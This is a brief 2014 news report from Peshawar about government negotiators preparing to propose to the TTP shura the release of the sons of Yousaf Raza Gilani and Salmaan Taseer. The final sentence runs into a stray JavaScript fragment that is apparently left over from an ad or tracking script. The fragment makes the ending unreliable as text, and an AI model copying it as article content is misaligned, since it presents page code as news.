Published On: Tue, Mar 25th, 2014
Published in Category: Peshawar

Govt to propose release of sons of Gilani, Taseer to TTP shura

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PESHAWAR: The government negotiators will propose the release of sons of former prime minister Yousaf Raza Gilani and late Governor Punjab Salmaan Taseer to the Tehreek-e-Taliban Pakistan (TTP) political shura (advisory council) during their first face-to-face meeting.

According to a private TV channel Government negotiator Rustam Shah said that the meeting would take place on March 25 if the weather conditions were better, adding that the government’s demands were ready to be presented before the TTP shura.

On March 22, government negotiators and TTP intermediaries had claimed to have broken the deadlock over the venue of proposed meeting with members of the TTP shura. The move will clear the way for phase-II of the government peace initiative which has been described as ‘decisive’.

Shah said Monday that the release of vice-chancellor of the Islamia College University (ICU) Ajmal Khan will also be proposed to the TTP Shura.

He further stated that the one of the demands was to establish government’s writ in the tribal areas and to have peace in the region.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;